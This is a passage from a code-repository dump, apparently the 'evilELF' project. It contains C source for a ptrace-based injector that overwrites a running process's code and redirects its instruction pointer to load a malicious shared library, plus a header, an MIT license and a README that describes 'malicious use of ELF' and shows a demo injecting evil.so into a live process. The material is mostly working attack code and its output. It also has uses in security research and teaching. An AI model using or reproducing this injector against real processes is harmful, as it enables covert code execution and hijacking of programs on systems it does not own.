evilso, strlen(evilso)); 149 | 150 | backup = malloc(len + sizeof(long)); 151 | ptrace_read(pid, inject_position, backup, len); 152 | 153 | if(ptrace(PTRACE_GETREGS , pid , NULL , ®z) < 0) exit(-1); 154 | if(ptrace(PTRACE_GETREGS , pid , NULL , ®zbak) < 0) exit(-1); 155 | printf("[+] stopped %d at eip:%p, esp:%p\n", pid, regz.eip, regz.esp); 156 | 157 | regz.eip = inject_position + 2; 158 | 159 | /*code inject */ 160 | ptrace_write(pid, inject_position, loader, len); 161 | 162 | /*set eip as entry_point */ 163 | ptrace(PTRACE_SETREGS , pid , NULL , ®z); 164 | ptrace_cont(pid); 165 | 166 | if(ptrace(PTRACE_GETREGS , pid , NULL , ®z) < 0) exit(-1); 167 | printf("[+] inject code done %d at eip:%p\n", pid, regz.eip); 168 | 169 | /*restore backup data */ 170 | // ptrace_write(pid,entry_addr, backup, len); 171 | ptrace(PTRACE_SETREGS , pid , NULL , ®zbak); 172 | } -------------------------------------------------------------------------------- /InjectRuntimeELF/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef utils_h 2 | #define utils_h 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include // bool type 20 | 21 | void ptrace_attach(int pid); 22 | void ptrace_cont(int pid); 23 | void ptrace_detach(int pid); 24 | bool ptrace_read(int pid, unsigned long addr, void *data, unsigned int len); 25 | char * 26 | ptrace_read_string(int pid, unsigned long addr); 27 | void ptrace_write(int pid, unsigned long addr, void *vptr, int len); 28 | #endif -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 jmpews 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # evilELF 2 | Malicious use of ELF such as .so inject, func hook and so on. 3 | 4 | ## [InejctRuntimeELF](https://github.com/jmpews/evilELF/tree/master/InjectRuntimeELF) 5 | 6 | 具体参考 [linux进程动态so注入](https://github.com/jmpews/dev2pwn/blob/master/linux%E8%BF%9B%E7%A8%8B%E5%8A%A8%E6%80%81so%E6%B3%A8%E5%85%A5.md) 7 | 实现恶意 `so` 注入, 采用直接解析 `ELF` 文件的方式, 更加具有通用性, 并以 `.gnu.hash` 进行符号查找, 适用于目前的 `ELF` 结构. 8 | 9 | 代码规范, 参考 `glibc-2.19`, 用 `ElfW` 宏进行 `32` 和 `64` 字长兼容. 10 | 11 | #### Demo & Usage 12 | 13 | ``` 14 | ➜ InjectRuntimeELF git:(master) ✗ sudo ./inject 3631 /evilELF/InjectRuntimeELF/example/evil.so 15 | -------------------------------------------------------------- 16 | InjectRuntimeELF - (1.0.0) - by jmpews@gmail.com 17 | -------------------------------------------------------------- 18 | [*] attached to pid 3631. 19 | [*] dump runtime infomation 20 | [*] dumping header... 21 | [*] start symbol search '__libc_dlopen_mode'... 22 | [*] start search libaray: /lib/i386-linux-gnu/libc.so.6 23 | [*] start bucket search... 24 | [*] found '__libc_dlopen_mode' at 0xb7693ae0 25 | [+] entry point: 0x8048380 26 | [+] stopped 3631 at eip:0xb7729428, esp:0xbf93cffc 27 | [+] inject code done 3631 at eip:0x8048396 28 | [*] start symbol search 'evilfunc'... 29 | [*] start search libaray: /lib/i386-linux-gnu/libc.so.6 30 | [*] start search libaray: /lib/ld-linux.so.2 31 | [*] search in ld, no link_map. 32 | [*] start search libaray: /evilELF/InjectRuntimeELF/example/evil.so 33 | [*] start bucket search... 34 | [*] found 'evilfunc' at 0xb772353b 35 | [*] lib injection done! 36 | ``` 37 | --------------------------------------------------------------------------------